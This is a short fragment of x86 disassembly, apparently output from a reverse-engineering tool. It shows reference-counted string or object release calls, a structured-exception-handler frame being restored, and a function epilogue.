lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4130c1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0xd8], 0xffffffff
mov eax, dword [esp + 0xb0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4130ef
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0xd0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.00402650
int3